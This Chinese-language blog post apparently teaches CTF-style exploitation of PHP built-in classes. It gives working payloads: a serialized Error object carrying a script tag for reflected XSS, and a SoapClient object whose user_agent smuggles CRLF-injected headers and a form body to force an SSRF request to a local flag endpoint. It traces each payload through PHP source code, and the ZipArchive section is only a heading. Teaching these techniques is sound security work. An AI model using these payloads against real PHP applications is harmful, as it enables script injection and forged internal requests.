PHP 原生类利用

sky123

PHP 原生类利用

PHP 原生类指的是 PHP 自带提供、无需用户定义、通常由 PHP 内核或扩展模块实现的类。我们可以通过 get_declared_classes() 函数获取当前脚本中所有已经定义的类的名称,然后枚举其中所有的魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
// 获取当前已声明的所有类名
$classes = get_declared_classes();

// 定义魔术方法列表(用于安全研究中识别可被利用的入口)
$magicMethods = [
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
];

// 遍历所有类
foreach ($classes as $class) {
// 获取当前类中声明的方法
$methods = get_class_methods($class);

if (!$methods) continue; // 若类没有方法则跳过

// 遍历方法,查找是否包含魔术方法
foreach ($methods as $method) {
if (in_array($method, $magicMethods, true)) {
// 输出符合条件的类名与方法名
print "{$class}::{$method}\n";
}
}
}

结果如下(可能由于 PHP 版本还有加载的扩展不同,结果会稍有差别):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ValueError::__wakeup
ValueError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
UnhandledMatchError::__wakeup
UnhandledMatchError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
FiberError::__wakeup
FiberError::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
Random\RandomError::__wakeup
Random\RandomError::__toString
Random\BrokenRandomEngineError::__wakeup
Random\BrokenRandomEngineError::__toString
Random\RandomException::__wakeup
Random\RandomException::__toString
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionUnionType::__toString
ReflectionIntersectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
ReflectionAttribute::__toString
ReflectionEnum::__toString
ReflectionEnumUnitCase::__toString
ReflectionEnumBackedCase::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
AssertionError::__wakeup
AssertionError::__toString
SodiumException::__wakeup
SodiumException::__toString
PDOException::__wakeup
PDOException::__toString
DOMException::__wakeup
DOMException::__toString
FFI\Exception::__wakeup
FFI\Exception::__toString
FFI\ParserException::__wakeup
FFI\ParserException::__toString
IntlException::__wakeup
IntlException::__toString
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
PhpToken::__toString

其中与反序列化利用相关的原生类有:

  • Exception:所有异常的基类。
  • Error
  • ZipArchive:用于创建、读取、修改 .zip 压缩包的类。
  • SoapClient:PHP 原生的 SOAP 客户端,用于远程调用服务。

使用 Error/Exception 内置类进行 XSS

在许多 CMS、后台日志查看器、调试工具等中可能存在下面这种代码逻辑:

1
2
3
4
5
6
7
<?php
// 假设从 GET 请求参数中获取序列化对象
$data = $_GET['data'] ?? '';

// 反序列化后直接输出对象(触发 __toString)
$obj = unserialize($data);
echo $obj;

如果我们能通过一个反序列化原生类,让该原生类的 __toString 返回一段可控数据,那么这段数据就可以被插入到 HTML 页面上形成反射型 XSS。

在 PHP 中有 ErrorException 是 PHP 内置的异常处理基类。

  • Exception 类是 PHP 中最早引入的异常处理类(自 PHP 5 起),用于程序逻辑异常的捕获和处理(如数据库错误、文件未找到、用户输入不合法等)。
  • Error 类是 PHP 7 引入的新异常类型,用于表示致命错误(如类型错误、算术错误等),补充了原本 Exception 处理不到的运行时错误。这个类是所有 PHP 内部错误类(如 TypeError, ParseError)的父类。

由于 ErrorException 都实现了 __toString() 方法,它们继承自 Throwable 接口(PHP7+),内部 __toString() 方法会返回的字符串受对象本身控制。因此这两个类都满足上述情境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ZEND_METHOD(Exception, __toString)
{
// [...]
if (ZSTR_LEN(message) > 0) {
zval message_zv;
ZVAL_STR(&message_zv, message);

str = zend_strpprintf_unchecked(0, "%S: %S in %S:" ZEND_LONG_FMT "\nStack trace:\n%S%s%S",
name, message, file, line,
tmp_trace, ZSTR_LEN(prev_str) ? "\n\nNext " : "", prev_str);
}
// [...]
RETURN_STR(str);
}

Error 类为例,如我们构造下面这个 Error 对象并获取序列化的结果:

1
2
3
4
5
6
7
<?php
// 构造恶意对象
$a = new Error("<script>alert(1)</script>");
// $a = new Exception("<script>alert('xss2')</script>");

// 序列化并 urlencode(用于 GET 传参)
echo urlencode(serialize($a));

那么这段序列化数据在被反序列化后,其中的 JS 代码会被插入到 __toString 返回结果中。

1
2
3
Error: <script>alert(1)</script> in /home/user/scripts/code.php:3
Stack trace:
#0 {main}

利用 SoapClient 类进行 SSRF

SoapClient 是 PHP 官方提供的 SOAP WebService 客户端

提示

该扩展默认不开启,我们需要修改 php.ini 开启扩展。

1
extension=soap

另外在 Linux 下还要安装扩展:

1
sudo apt install php-soap

在非‑WSDL 模式下,只要给它一组 location/uri 参数,就能自动把一次方法调用包装成 HTTP/HTTPS POST 请求并发送——这恰恰为 服务器端向任意地址发包 提供了便利。更重要的是:

  • SoapClient 可以被 序列化 / 反序列化
  • 反序列化后,如果代码里对该对象调用了一个「不存在」的方法,__call() 会被触发,进而 自动发请求
  • user_agent 等可控字段允许插入 \r\n,可扩展为 CRLF 注入 来伪造额外请求头或请求体。

例如我们按下面这样构造一个 SoapClient 对象并且调用不存在的方法触发 __call 魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ua  = "evil\r\n"
. "X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"
. "Content-Type: application/x-www-form-urlencoded\r\n"
. "Content-Length: 13\r\n"
. "\r\n"
. "token=ctfshow";

$c = new SoapClient(null, [
'location' => 'http://127.0.0.1:8000/flag.php',
'uri' => 'http://dummy/',
'user_agent' => $ua,
'exceptions' => 0
]);

$c->foo();

则会触发 SSRF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /flag.php HTTP/1.1
Host: 127.0.0.1:8000
Connection: Keep-Alive
User-Agent: evil
X-Forwarded-For: 127.0.0.1,127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://dummy/#foo"
Content-Length: 376

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://dummy/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:foo/></SOAP-ENV:Body></SOAP-ENV:Envelope>

在构造 SoapClient 对象的时候会将传入的 location 还有 user_agent 写入对象属性。

1
2
3
4
5
6
7
8
9
/* 非‑WSDL 模式必须手动给 location */
if ((tmp = zend_hash_str_find(ht, "location", 8)) && Z_TYPE_P(tmp) == IS_STRING) {
ZVAL_STR_COPY(Z_CLIENT_LOCATION_P(this_ptr), Z_STR_P(tmp));
}

/* 可选 user_agent -> 直接写入对象属性 */
if ((tmp = zend_hash_str_find(ht, "user_agent", 10)) && Z_TYPE_P(tmp) == IS_STRING) {
ZVAL_STR_COPY(Z_CLIENT_USER_AGENT_P(this_ptr), Z_STR_P(tmp));
}

在我们调用 SoapClient 的一个不存在的方法时会有如下调用链:

1
2
3
4
5
6
7
8
9
10
┌─ 用户代码          $client->foo()           # foo() 并不存在

├─ SoapClient::__call() # zend_compile.c ➜ arginfo_soapclient___call
│ ↳ soap_client_call_common()
│ ↳ do_soap_call()
│ ↳ do_request()
│ ↳ SoapClient::__doRequest() # 默认实现;可被 override
│ ↳ make_http_soap_request() (libcurl / php_stream)
│ ↳ 发送 HTTP/HTTPS 请求
└─ HTTP response 解析 → parse_packet_soap() → 返回

其中 location 会在  soap_client_call_common 函数中被取出。

1
2
3
4
5
6
7
// L4635 选取 location
if (location == NULL) {
tmp = Z_CLIENT_LOCATION_P(this_ptr); // ← 取出刚才存的指针
if (Z_TYPE_P(tmp) == IS_STRING) {
location = Z_STR_P(tmp); // 直接赋给 C 层指针变量
}
}

然后在  do_soap_call 函数中作为请求的 URL 传入 do_request 函数。

1
2
3
4
5
6
// Non‑WSDL 分支
if (location == NULL) {
add_soap_fault_en(... "'location' option is required");
}
request = serialize_function_call(...);
ret = do_request(this_ptr, request, location, action, ...);

最终调用到 make_http_soap_request 函数,此时构造函数传入的 user_agent 会被 curl_slist_append 函数添加到请求头 headers 中。

1
2
3
4
5
6
7
8
9
10
11
curl_easy_setopt(curl, CURLOPT_URL, location);          // ← 完整 SSRF
...
/* 构造 header 列表,先加入默认 UA,再判断自定义 UA */
if (Z_TYPE_P(Z_CLIENT_USER_AGENT_P(client)) == IS_STRING) {
headers = curl_slist_append(headers,
Z_STRVAL_P(Z_CLIENT_USER_AGENT_P(client))); // ← CRLF 注入入口
}
/* headers 交给 curl_easy_setopt(CURLOPT_HTTPHEADER, headers) */
...
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, buf);
curl_easy_perform(curl);

由于 curl_slist_append() 不会过滤 \r\n

  • 只要在 UA 里插入 \r\n 并加上一个空行,后面的部分就被当成新的 Header
  • 再插入 \r\n\r\ntoken=ctfshow,即可把原本的 XML 丢掉,让 body 变成自定义表单数据。

利用 ZipArchive 进行文件操作

  • Title: PHP 原生类利用
  • Author: sky123
  • Created at : 2025-08-11 23:53:58
  • Updated at : 2025-08-02 21:33:10
  • Link: https://skyi23.github.io/2025/08/11/PHP 原生类利用/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments